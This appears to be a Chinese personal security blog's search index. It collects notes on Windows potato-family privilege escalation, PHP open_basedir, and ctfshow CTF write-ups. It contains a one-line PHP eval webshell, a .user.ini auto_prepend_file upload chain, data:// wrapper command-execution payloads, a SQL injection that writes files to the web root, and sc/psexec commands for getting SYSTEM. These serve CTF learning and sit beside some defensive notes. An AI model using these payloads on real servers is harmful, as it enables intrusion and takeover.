APPPOOL\\xxx → 先看 /priv，有 SeImpersonate 就土豆，没有就查服务/计划任务/其他 一张图记住全部\r拿到shell → whoami /priv │ ┌──────────┼──────────────┐ SYSTEM 服务账户 低权限普通账户 │ (NETWORK/LOCAL (IIS APPPOOL/guest) │ SERVICE、 │ │ MySQL/MSSQL) │ │ │ │ 不用提 土豆家族 查服务配置/CVE/其他 附：管理员跑土豆为什么也能成功？（小迪演示视频的疑问）\r我的疑问：\u0026ldquo;你说管理员没有模拟权限所以不用土豆，那为什么小迪用 GodPotato 在自己电脑上成功？\u0026rdquo;\n答案在截图输出里：\nCurrentUser : NT AUTHORITY\\NETWORK SERVICE ← 实际身份是网络服务账户! Start Search System Token Find System Token : True CurrentUser : NT AUTHORITY\\SYSTEM ← 提权成功 \u0026ldquo;在自己电脑上\u0026rdquo; ≠ \u0026ldquo;用自己的账户身份\u0026rdquo;：小迪是在自己搭的测试环境里，先拿到了 NETWORK SERVICE（网络服务账户） 的 shell，再跑土豆 NETWORK SERVICE / LOCAL SERVICE 都是服务账户，天生有 SeImpersonatePrivilege → 土豆成功，与\u0026quot;管理员没有该权限\u0026quot;不矛盾 管理员（我登录的账户）whoami /priv 找不到 SeImpersonatePrivilege → 直接跑土豆会失败 管理员想要 SYSTEM 有更直接的路（不用土豆）： psexec -s -i cmd :: 以SYSTEM跑 sc create xxx binPath= \u0026#34;cmd /c whoami \u0026gt; c:\\1.txt\u0026#34; :: 服务天然跑SYSTEM sc start xxx 账户对照表：\n账户 有 SeImpersonate？ 土豆能成功吗 管理员（登录账户） ❌ 没有 ❌ 直接跑失败 NETWORK SERVICE ✅ 有 ✅ LOCAL SERVICE ✅ 有 ✅ SYSTEM ✅ 全有 已最高，不用提 一句话总结\r土豆能不能用 = 看 whoami /priv 有没有 SeImpersonatePrivilege，而它属于\u0026quot;服务账户\u0026quot;（NETWORK/LOCAL SERVICE、数据库服务），不属于普通管理员；语言（php/java/.net）和服务器配置决定的是进程跑在哪个账户，不是提权路线本身。\n相关联想\r土豆原理链：服务账户（有能力 SeImpersonate）+ 土豆（骗到 SYSTEM 令牌）= SYSTEM 管理员没有 SeImpersonate 是设计使然：服务需要模拟客户端干活，人不需要 MySQL/MSSQL 服务默认账户、IIS 应用池标识、Apache 服务账户 —— 都是\u0026quot;拿到 shell 先 whoami\u0026quot;时要对的表 真实渗透常见链：SQL 注入 → 数据库服务账户 → 土豆 → SYSTEM 延伸：SeDebugPrivilege（注入 SYSTEM 进程）、SeBackupPrivilege（备份 SAM）是另外两条特权路线，不属于土豆家族 ","date":"2026-09-07T23:19:58+08:00","permalink":"/notes/privesc/web%E6%9D%83%E9%99%90%E4%B8%8E%E5%9C%9F%E8%B1%86%E5%AE%B6%E6%97%8F%E8%AF%AD%E8%A8%80%E6%9D%83%E9%99%90/","title":"拿到 Web 权限后能否用土豆家族：语言 ≠ 权限"},{"content":"PHP 文件访问范围限制：open_basedir 与目录边界\r问题：PHP 靠什么限制\u0026quot;可访问的目录范围\u0026quot;？ 答案：三层限制，核心是 open_basedir。\n三层限制结构\r① open_basedir（PHP 配置层 —— 主角）\rphp.ini / .user.ini / 虚拟主机配置：\nopen_basedir = /var/www/html:/tmp 作用：限制 PHP 所有文件操作能访问的目录范围 受影响的函数：fopen、file_get_contents、include、require、readfile 等 超出范围的路径访问 → 直接报错拒绝（即使系统权限允许） ⚠️ 它是目录前缀匹配，不是精确限制 → 存在绕过手法（见下） ② 系统文件权限（OS 层）\rPHP 以什么用户运行（www-data / nobody），能读哪些目录由 Linux 文件权限决定 即使没配 open_basedir，www-data 也读不了 root 的文件 ③ Web 服务器根目录（服务层）\rApache/Nginx 的 DocumentRoot 决定 URL 能访问哪些目录 web 根之外的目录通过 URL 访问不到（但 PHP 在 open_basedir 允许时仍可读） 顺带分清：disable_functions\rdisable_functions = system,exec,passthru,shell_exec 不是限制目录，是禁用危险函数 与 open_basedir 常一起考察： open_basedir → 管\u0026quot;能碰哪\u0026quot;（文件范围） disable_functions → 管\u0026quot;能执行啥\u0026quot;（函数权限） open_basedir 绕过（CTF/比赛高频考点）\r常见思路：\n/proc/self/root/\u0026lt;真实路径\u0026gt; 等价路径访问 符号链接（symlink）绕过前缀匹配 配合软链接目录跳转 通过其他语言/扩展（如 FFI、iconv、glob 等）间接读写 遇到具体题目再针对性分析，先记住\u0026quot;它是前缀匹配，有绕过空间\u0026quot;这个概念。\n一句话总结\rPHP 限制可访问目录 = open_basedir（PHP 层）+ 系统文件权限（OS 层）+ DocumentRoot（Web 层），open_basedir 是最常考的 PHP 专属限制，绕它是高频题。\n相关联想\r探针/tz.php：信息泄露 → 配合绝对路径利用 文件包含 + open_basedir：读 web 根之外文件会被拦 写 shell 时目标路径必须落在 open_basedir 允许的目录内 ","date":"2026-09-06T20:50:37+08:00","permalink":"/notes/php/php%E6%96%87%E4%BB%B6%E8%AE%BF%E9%97%AE%E8%8C%83%E5%9B%B4%E9%99%90%E5%88%B6open_basedir%E4%B8%8E%E7%9B%AE%E5%BD%95%E8%BE%B9%E7%95%8C/","title":"PHP 文件访问范围限制：open_basedir 与目录边界"},{"content":"ctfshow web20\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web20 难度：⭐ 考点：信息泄露 日期：2026-9-6 题目描述\r解题思路\r根据题目描述的提示直接看即可\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-06T17:46:07+08:00","permalink":"/notes/ctf/info-collection/web20/","title":"ctfshow web20"},{"content":"ctfshow web19\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web19 难度：⭐ 考点：信息收集（加密逻辑泄露） 日期：2026-9-6 题目描述\r解题思路\r前端验证， 这里用的是AES加密，参数全在js代码 中，\nmode模式： CBC padding填充方式： ZeroPadding\n密文输出编码： 十六进制hex 偏移量iv: ilove36dverymuch 密钥：0000000372619038\n密文为： a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04\n于是 可得到明文为： i_want_a_36d_girl\n接着 用户名admin密码为i_want_a_36d_girl进行登录 ，登录成功后得到flag!\nPayload / 关键操作\r打开F12找到对方的加密逻辑 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-06T16:53:34+08:00","permalink":"/notes/ctf/info-collection/web19/","title":"ctfshow web19"},{"content":"ctfshow web18\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web18 难度：⭐⭐ 考点：信息收集（js泄露） 日期：2026-9-5 题目描述\r解题思路\r1.这是一个javascript 的游戏，游戏的目的就是让要赢，从js代码中可知，当score\u0026gt;120时，且game_over这个参数为false时，即可赢，于是打开开发者模式中的console，直接赋值score=130 game_over=false 然后，执行游戏 的run() 即可得到 \u0026ldquo;你赢了，去幺幺零点皮爱吃皮看看\u0026rdquo;， 即，110.php 打开它，即得flag\nPayload / 关键操作\r1.score = 150; // 顶分 game_over = true; // 触发结束 复现截图\r对应课程章节\r62JS逆向调试\n踩坑记录 / 复盘\rif(game_over == false) { 继续跑 } else { ← 要赢必须先进这个分支（game_over 得是 true！） if(score \u0026gt; 100) { 赢 } ← score 还得 \u0026gt;100 }\n","date":"2026-09-05T23:33:26+08:00","permalink":"/notes/ctf/info-collection/web18/","title":"ctfshow web18"},{"content":"ctfshow web17\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web17 难度：⭐ 考点：信息收集（sql备份泄露） 日期：2026-9-5 题目描述\r解题思路\r1.根据题意得知有sql文件泄露，直接用dirsearch扫描即可 2.访问下载sql备份文件查询flag\nPayload / 关键操作\r1.目录爆破 2.查询 复现截图\r2. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-05T20:02:03+08:00","permalink":"/notes/ctf/info-collection/web17/","title":"ctfshow web17"},{"content":"ctfshow web16\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web16 难度：⭐ 考点：信息收集（PHP探针） 日期：2026-9-5 题目描述\r解题思路\r1.查看源码（没有发现明显的flag）、抓包（依旧没有发现明显的flag），采用dirsearch目录爆破（爆破到了一个JS目录，但是没有权限去访问） 2.根据提示去查看tz.php 3.找到里面的phpinfo，全局搜索flag解得此题\nPayload / 关键操作\r1.dirsearch -u https://33ac2cf7-8cfb-4bf5-b024-921da3f1fac7.challenge.ctf.show/ 2.看提示 3.找到phpinfo 复现截图\r2. 3. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r探针是啥\r探针 = 开发者/运维用的\u0026quot;服务器体检脚本\u0026quot;——本质是一个 PHP 文件，访问它能显示服务器的敏感环境信息：\n泄露的信息 例子 网站绝对路径 /var/www/html/... PHP 版本 + 配置 phpinfo 级别的详细配置 系统信息 OS、CPU、内存 数据库版本 MySQL 版本 组件/扩展支持 危险函数是否开启等 常见文件名：tz.php（\u0026ldquo;探针\u0026quot;拼音）、phpinfo.php、test.php、info.php、p.php、雅黑探针/菠萝探针等。\n所有 PHP 网站都有吗？—— 不是！\r它是开发者临时上传用来调试/确认环境的工具 正规生产环境不应该存在——上线前要删 你扫到 tz.php = 两种情况： 开发者测试完忘了删（最常见，信息泄露源） 攻击者留下的（入侵后上传的探针/后门，危险！） 对渗透者意味着什么\rtz.php 是信息收集的金矿：\n绝对路径 → 配合文件包含/上传利用 PHP/组件版本 → 找已知漏洞打 危险函数（如 exec、system 开启情况）→ 判断能不能 RCE 对防守方：属于\u0026quot;测试残留文件未清理\u0026rdquo;——正好是你之前学的系统加固/安全配置检查里要查的一项（上线清单：删探针、删测试文件、删备份文件）📝\n一句话\r探针不是标配，是\u0026quot;忘删的测试工具\u0026quot;；有 = 信息泄露点 + 可疑（可能是攻击者留的）。 扫到它先确认是开发者残留还是入侵痕迹——这也是渗透测试里一个很实用的判断点 🎯\n为什么很多敏感文件不是扫出来的\r真实渗透里，tz.php、探针、隐藏后台这类文件，更多是靠线索推出来的：\n源码泄露（git/备份文件）里看到的路径 报错信息暴露的路径 robots.txt 提示 前端 JS 里引用的资源路径 别人 writeup / 指纹特征 然后直接访问验证：[http://目标/tz.php](http://xn--iwvq54a/tz.php) 扫描只是手段之一，不是万能钥匙。\n探针泄露(tz.php) PHP探针实际上是一种Web脚本程序，主要是用来探测虚拟空间、服务器的运行状况，而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件，通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等，基本能够很全面的了解服务器的各项信息，当开发者测试网站忘记把探针删掉以后，就会造成验证的信息泄露\n","date":"2026-09-05T12:17:37+08:00","permalink":"/notes/ctf/info-collection/web16/","title":"ctfshow web16"},{"content":"ctfshow web15\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web15 难度：⭐ 考点：信息收集（基于网站信息如邮箱的信息查找） 日期：2026-9-5 题目描述\r解题思路\r1.根据题意，进入靶场翻到最下层后看到了网站管理人的邮箱地址 2.因为是qq邮箱，所以可以去qq看看这个管理人是怎么个事 3.了解完管理员的大概信息后随便翻翻网站无果就直接在网址后面加admin寻找对方后台 4.根据后台报错提示发现用户名为admin，至于密码我开始输入的是对方qq账号，然后就是123456这些弱密码，但都是错误的。思考一会儿后发现有个忘记密码，打开一看居然只要输入管理员所在城市就能重置密码，这不就和解题步骤2呼应上了，果断输入西安拿到重置密码后解得此题flag\nPayload / 关键操作\r1.根据题意找到目标邮箱 2.了解qq信息 3.找寻后台 4.输入qq了解到的信息后拿到重置的密码 复现截图\r2. 3. 4. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-05T11:28:11+08:00","permalink":"/notes/ctf/info-collection/web15/","title":"ctfshow web15"},{"content":"ctfshow web14\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web14 难度：⭐ 考点：信息收集（默认路径泄露） 日期：2026-9-4 题目描述\r解题思路\r1.看到提示说有泄露重要信息“editor”，于是就去靶场里面找，发现好像并没有。然后仔细又看了下提示，发现有两个刺眼的字 “源码”。于是聪明的我就打开F12然后搜索 “editor”，发现真就给我搜索到了，发现好像是一个关于编辑的路径，于是我便打开去看看怎么个事，发现是一个编辑器。 2.我试了试里面的图片上传和文件上传，发现根本行不通。正在纠缠之际，突然看到了图片上传旁边的 “图片空间”（做完后你会发现文件上传旁边也有个文件空间，效果是一样的），打开一看发现新世界的大门，里面好像是网站的文件结构 3.然后接下来就可想而知了：直接去var/www/html里面查询网站下面的文件，然后发现flag在var/www/html/nothinghere/fl000g.txt 里面，直接去访问即可\nPayload / 关键操作\r1.全局搜索源码“editor”;访问编辑路径。 复现截图\r2. 3. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r看到编辑器的第一想法应该是去测试文件上传和图片上传\n","date":"2026-09-04T23:40:29+08:00","permalink":"/notes/ctf/info-collection/web14/","title":"ctfshow web14"},{"content":"ctfshow web13\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web13 难度：⭐ 考点：信息收集（文档泄露） 日期：2026-9-4 题目描述\r解题思路\r1.根据题意进入靶场后发现是个技术文档，看了半天没有有用信息，然后翻到最下面发现那个“document”居然可以点击 2.进去后发现是后台路径与默认密码\nPayload / 关键操作\r1.找到并点击泄露文档 2.根据文档内容输入后台地址并输入账号密码 3.获得flag 复现截图\r1. 2. 3. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-04T22:44:53+08:00","permalink":"/notes/ctf/info-collection/web13/","title":"ctfshow web13"},{"content":"ctfshow web12\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web12 难度：⭐ 考点：信息收集（观察网页信息） 日期：2026-9-4 题目描述\r解题思路\r根据提示，在网页的最下面观察到“Help Line Number : 372619038”疑似管理员电话\nPayload / 关键操作\r1.将发现的字符当作后台密码去尝试 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-04T15:14:04+08:00","permalink":"/notes/ctf/info-collection/web12/","title":"ctfshow web12"},{"content":"mstsc RDP远程桌面协议：3389\n","date":"2026-09-04T15:04:53+08:00","permalink":"/notes/ctf/protocol-ports/%E5%8D%8F%E8%AE%AE%E4%B8%8E%E7%AB%AF%E5%8F%A3/","title":"协议与端口"},{"content":"ctfshow web11\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web11 难度：⭐ 考点：信息收集（DNS协议基础） 日期：2026-9-4 题目描述\r解题思路\r根据题意去查询域名的txt记录\nPayload / 关键操作\rnslookup -qt=txt flag.ctfshow.com 复现截图\r题目有问题\n对应课程章节\r信息收集\n踩坑记录 / 复盘\r","date":"2026-09-04T14:56:13+08:00","permalink":"/notes/ctf/info-collection/web11/","title":"ctfshow web11"},{"content":" img1 img2 img3 img4 img5 img6 img7 img8 img9 img10 img11 img12 img13 img14 img15 img16 img17 img18 img19 img20 img21 img22 img23 img24 img25 img26 ","date":"2026-09-04T11:30:00+08:00","permalink":"/album/","title":"相册"},{"content":"ctfshow web10\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web10 难度：⭐ 考点：信息收集（cookie泄露） 日期：2026-9-3 题目描述\r解题思路\r根据题意想到去查看自己的cookie\nPayload / 关键操作\r进入靶场后打开F12 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r本题目是让答题者了解到cookie，cookie一般用于在身份认证的过程中保存一些信息，用于服务器来验证身份,在测试中可以尝试注入等方式。可以使用burp/F12中的网络来查看\n","date":"2026-09-03T20:38:57+08:00","permalink":"/notes/ctf/info-collection/web10/","title":"ctfshow web10"},{"content":"ctfshow web9\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：webXXX 难度：⭐ 考点：信息收集（vim与vi的意外泄露） 日期：2026-9-3 题目描述\r解题思路\r根据提示，在Linux生产环境上使用vim或者vi做修改时，会生成一个swp为后缀的文件\n第一次意外退出生成的是.swp 第二次意外退出生成的是.swo 第三次为.swn 因此可以尝试打开第一次退出时产生的这个文件,输入url/index.php.swp\nPayload / 关键操作\r直接去访问\u0026#34;靶场url\u0026#34;/index.php.swp 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r知道 vim/vi 的特性\n本题目的是让答题者了解到vim编辑器使用时会有一个缓存文件，这个缓存文件在保存时进行删除，但是在vim意外退出时这个缓存文件，会以源文件加一个.swp后缀进行保存，我们可以尝试访问这些文件来尝试获取一些文件。\n","date":"2026-09-03T20:34:15+08:00","permalink":"/notes/ctf/info-collection/web9/","title":"ctfshow web9"},{"content":"ctfshow web175\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web175 难度：⭐⭐ 考点：SQL注入（SQL文件读写） 日期：2026-9-2 题目描述\r正则基本过滤了ascii码的全部可见字符\n解题思路\r1.因为正常想好像没有任何思路，就想着直接看这题是否能进行文件读写（虽然没用判断权限是否为root，但是你在没用思路的时候可以先试试，万一呢？），发现是真的可以进行文件读写的操作，那还说啥了，往里干就行了！直接构造payload创建文件将flag写入其中 2.访问读取即可\nPayload / 关键操作\r1.123\u0026#39; union select username, password from ctfshow_user5 into outfile \u0026#39;/var/www/html/flag.txt\u0026#39; %23 2.直接访问 复现截图\r2.\n对应课程章节\rSQL注入\n踩坑记录 / 复盘\r1.\n","date":"2026-09-02T22:57:29+08:00","permalink":"/notes/ctf/sql-injection/web175/","title":"ctfshow web175"},{"content":"\n","date":"2026-09-02T20:24:37+08:00","permalink":"/notes/ctf/file-upload/a%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%9A%84%E6%80%BB%E7%BB%93/","title":"a文件上传的总结"},{"content":"ctfshow web154\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web154 难度：⭐⭐ 考点：文件上传（你真的了解\u0026quot;.user.ini\u0026quot;吗） 日期：2026-9-2 题目描述\r解题思路\r[\u0026ldquo;Web153\u0026rdquo;,\u0026ldquo;文件上传\u0026rdquo;] 和153解题基本一样，就是多了个检查图片内容（应该是过滤了php），可以参考下图对一句话木马进行修改 Payload / 关键操作\r/?1=system(\u0026#34;tac ../flag.php\u0026#34;); 复现截图\r对应课程章节\r文件上传\n踩坑记录 / 复盘\r","date":"2026-09-02T17:31:03+08:00","permalink":"/notes/ctf/file-upload/web154/","title":"ctfshow web154"},{"content":"ctfshow web153\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web153 难度：⭐⭐ 考点：文件上传（你真的理解了 \u0026ldquo;.user.ini\u0026quot;吗？） 日期：2026-9-2 题目描述\r解题思路\rPayload / 关键操作\r/?1=system(\u0026#34;tac ../flag.php\u0026#34;); 复现截图\r对应课程章节\r文件上传\n踩坑记录 / 复盘\r去看user.ini原理与上传解析路线\n","date":"2026-09-02T15:48:31+08:00","permalink":"/notes/ctf/file-upload/web153/","title":"ctfshow web153"},{"content":".user.ini 原理与文件上传解析路线\r适用：文件上传题（黑名单校验被绕过但\u0026quot;解析不了\u0026quot;时） 核心认知：先认服务器类型，再选上传利用方式\n一、上传解析的两个\u0026quot;配置文件\u0026quot;是谁在处理\r文件 谁读它 生效条件 .htaccess Apache（Web 服务器） Apache + AllowOverride 开启 .user.ini PHP（CGI/FastCGI 模式） php-fpm 跑 PHP（nginx 或 Apache + php-fpm） 关键点：\nnginx 根本不认 .htaccess（nginx 没有这个机制，配置全在 nginx.conf） Apache + mod_php 不读 .user.ini（不是 CGI 模式） 环境 优先试哪个 Apache .htaccess nginx + php-fpm .user.ini（本文重点） 怎么判断服务器：看响应头 Server: Apache/2.x 还是 nginx；或传 .phP 只下载不执行 → 基本是 nginx + php-fpm。\n二、.user.ini 是什么（原理）\r.user.ini = PHP 的\u0026quot;目录级配置文件\u0026quot;（类似 .htaccess 但由 PHP 自己管）。\n生效模式：CGI/FastCGI（nginx + php-fpm、Apache + php-fpm 都算） 文件名默认就是 .user.ini（php.ini 的 user_ini.filename，可改） 放在哪个目录 → 只对该目录下的 PHP 文件生效（含子目录） 关键指令：auto_prepend_file\rauto_prepend_file=shell.png 效果：该目录下每个 PHP 文件被请求时，执行前都会先自动 include 指定的文件。\n→ 如果指定的文件内容是你的 PHP webshell（哪怕后缀是 .png）， → 那么访问该目录里任意一个 .php（比如 index.php），都会先执行你的代码！\n还有配套的 auto_append_file（执行后自动包含），用法同理。\n三、.user.ini 攻击用法（完整链条）\r前提\r上传校验是黑名单（只挡已知危险后缀，能传任意名文件） 能上传 .user.ini（点开头 + 黑名单没挡） 上传目录里有可访问的 .php 文件（用于触发 auto_prepend_file） 步骤\r① 上传 .user.ini，内容： auto_prepend_file=shell.png ② 上传 shell.png，内容： \u0026lt;?php @eval($_GET[1]);?\u0026gt; ③ 访问该目录下任意 .php（如 /upload/index.php） → PHP 自动先包含 shell.png → 你的 webshell 执行 ④ 执行命令： /upload/index.php?1=system(\u0026#34;tac ../flag.php\u0026#34;); 为什么这样能绕过\u0026quot;解析不了\u0026quot;的问题\r错误路线（.phP 大小写） 正确路线（.user.ini） 依赖\u0026quot;服务器把 .phP 当 PHP 解析\u0026quot; 依赖\u0026quot;PHP 主动包含 .png 文件\u0026quot; 服务器只认小写 .php → 不解析 → 只下载 auto_prepend_file 让任意后缀被当 PHP 执行 看服务器脸色 ❌ 不依赖后缀，自己说了算 ✅ 核心：.phP 是\u0026quot;骗解析器\u0026quot;，.user.ini 是\u0026quot;让 PHP 自己加载你的文件\u0026quot;。\n四、为什么 .phP 上传成功但访问只下载\r上传成功 = 过滤器只查小写\u0026#34;php\u0026#34;字符串，.phP 绕过字符串检查 ✅ 访问只下载 = 服务器处理器匹配大小写敏感： nginx location ~ \\.php$ （默认区分大小写） → .phP 不交给 PHP 解析 → 当普通文件 → 强制下载（Content-Disposition: attachment） 提示：Windows 服务器文件系统大小写不敏感，.phP 可能被当成 .php 执行；Linux + nginx 大小写敏感 → 只下载——这本身是\u0026quot;该走 .user.ini\u0026quot;的信号。\n五、上传题判定流程（定方向）\r1. 看响应头 / 传 .phP 测试 → 判断 Apache 还是 nginx+php-fpm 2. 试传 shell.php → 失败；shell.png / shell.a → 成功 → 说明是黑名单校验（只挡已知后缀） 3. 黑名单 + 能传任意名 → 试 .user.ini（nginx+php-fpm）或 .htaccess（Apache） 4. .user.ini: auto_prepend_file=shell.png + 传 shell.png webshell 5. 访问目录里任意 .php 触发 → ?1=system(...) → flag 六、防御视角（知道原理就会防）\r上传校验别用黑名单（改白名单：只允许图片/文档白名单后缀） 上传目录禁止执行 PHP（nginx 配置 location 里 fastcgi 只给白名单后缀） 禁用/改名 .user.ini：php.ini 里 user_ini.filename= 设为空或改名 上传文件名随机化，禁止点开头文件（.user.ini 这种） 记忆口诀\r黑名单能传任意名，看服务器选入口：Apache 上 .htaccess，nginx 上 .user.ini；prepend 一设，png 也变 shell。\n速查表持续补充，实战遇到新上传姿势随时更新。\n","date":"2026-09-02T14:54:29+08:00","permalink":"/notes/ctf/file-upload/user.ini%E5%8E%9F%E7%90%86%E4%B8%8E%E4%B8%8A%E4%BC%A0%E8%A7%A3%E6%9E%90%E8%B7%AF%E7%BA%BF/","title":".user.ini 原理与文件上传解析路线"},{"content":"ctfshow web82\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web82 难度：⭐~⭐⭐⭐ 考点：如 SQL 注入（无回显） 日期：YYYY-MM-DD 题目描述\r（题目给了什么环境、什么提示）\n解题思路\r（从哪步开始想的，怎么一步步走到答案）\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r（截图放这里，说明是哪一步的）\n对应小迪课程章节\r（如：Web攻防-命令执行，方便回头复习）\n踩坑记录 / 复盘\r（卡在哪了、绕了什么弯、下次遇到要注意什么）\n","date":"2026-09-02T14:03:57+08:00","permalink":"/notes/ctf/file-inclusion/web82/","title":"ctfshow web82"},{"content":"ctfshow web37\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web37 难度：⭐ 考点：命令执行 日期：2026-9-2 题目描述\r解题思路\r1.因为是文件包含，所以想到伪协议。又因为过滤了flag，就用占位符替代\nPayload / 关键操作\r1.?c=data://text/plain,\u0026lt;?php system(\u0026#39;tac fla?.php\u0026#39;) ?\u0026gt; 复现截图\r对应课程章节\r命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-09-02T12:15:02+08:00","permalink":"/notes/ctf/command-execution/web37/","title":"ctfshow web37"},{"content":"ctfshow web36\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web36 难度：⭐ 考点：文件包含（配合伪协议） 日期：2026-9-2 题目描述\r解题思路\r1.真就一招鲜吃遍天，和Web35基本一样，就是因为过滤了数字所以将数字的参数改成字母就行了\nPayload / 关键操作\r1.[\u0026#34;Web35\u0026#34;,\u0026#34;命令执行\u0026#34;] 复现截图\r对应小迪课程章节\r踩坑记录 / 复盘\r无\n","date":"2026-09-02T10:57:04+08:00","permalink":"/notes/ctf/command-execution/web36/","title":"ctfshow web36"},{"content":"ctfshow web7-8\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web7-8 难度：⭐ 考点：信息收集（.git 泄露与利用） 日期：2026-9-2 题目描述\r解题思路\r1.直接放图吧： Payload / 关键操作\r访问.git即可 复现截图\r靶场7： 靶场8： 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-02T10:33:26+08:00","permalink":"/notes/ctf/info-collection/web7-8/","title":"ctfshow web7-8"},{"content":"ctfshow web6\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web6 难度：⭐ 考点：信息收集（压缩文件遗留） 日期：2026-9-2 题目描述\r解题思路\r1.根据题目提示猜测靶场存在网站源码压缩文件，所以得用目录爆破将其找出 2.直接爆破访问下载解压即可\nPayload / 关键操作\r1.爆破 复现截图\r1. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-02T09:59:09+08:00","permalink":"/notes/ctf/info-collection/web6/","title":"ctfshow web6"},{"content":" 🎬 欢迎来到「七次必胜的决心」放映室\n七次胜负，七次坚持——哪怕只剩一线希望，也绝不轻言放弃。\n这是他们的故事，也是「必胜的决心」的意义。\n愿这份决心，也能传递给你。\n《护国的无垢之心》\nYour browser doesn't support HTML5 video. Here is a link to the video instead. 《少年的孤誓》\nYour browser doesn't support HTML5 video. Here is a link to the video instead. 💡 点击播放键开始观看，支持全屏播放\n","date":"2026-09-01T20:05:00+08:00","permalink":"/%E4%B8%83%E6%AC%A1%E5%BF%85%E8%83%9C%E7%9A%84%E5%86%B3%E5%BF%83/","title":"The Determination to Win Seven Times"},{"content":"ctfshow web35\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web35 难度：⭐ 考点：命令执行配合伪协议 日期：2026-9-1 题目描述\r解题思路\r1.还是和Web34一样的操作\nPayload / 关键操作\r1.?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;) ?\u0026gt; 复现截图\r对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-09-01T19:02:08+08:00","permalink":"/notes/ctf/command-execution/web35/","title":"ctfshow web35"},{"content":"ctfshow web34\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web34 难度：⭐ 考点：命令执行（配合伪协议） 日期：2026-9-1 题目描述\r解题思路\r1.和Web33.32还是一样构造文件包含配合伪协议即可\nPayload / 关键操作\r1./?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;) ?\u0026gt; 复现截图\r对应小迪课程章节\rRCE命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-09-01T13:55:37+08:00","permalink":"/notes/ctf/command-execution/web34/","title":"ctfshow web34"},{"content":"ctfshow web5\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web5 难度：⭐ 考点：信息收集 日期：2026-9-1 题目描述\r解题思路\r1.题目开始就说了有源码泄露，说明可能有某个目录带有源码文件，所以可以使用扫描工具去试试 2.找到index.php后访问发现虽然是首页但是并没用报错，回想题目说phps可能对我们有帮助，于是尝试去访问index.phps\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r2.\n对应课程章节\r信息收集\n踩坑记录 / 复盘\r可以去看看信息泄露的 “目录爆破与目标类型判断”\n","date":"2026-09-01T13:45:13+08:00","permalink":"/notes/ctf/info-collection/web5/","title":"ctfshow web5"},{"content":"目录爆破与目标类型判断\r适用：Web 目录扫描（dirsearch）、源码泄露探测 核心认知：先判断目标类型，再决定用不用目录爆破——工具是死的，判断是活的\n一、为什么有时候\u0026quot;扫不出结果\u0026quot;？（dirsearch 的过滤机制）\rdirsearch 扫描前会做通配响应（wildcard）检测：\n1. 请求几个随机路径，看目标是否\u0026#34;catch-all\u0026#34;（对不存在的路径也返回 200 同页面） 2. 如果检测到 → 建立\u0026#34;通配画像\u0026#34; 3. 扫描时：响应和通配画像【相似度≥90%】→ 判定为无效 → 静默过滤，不报告 结果：遇到 catch-all 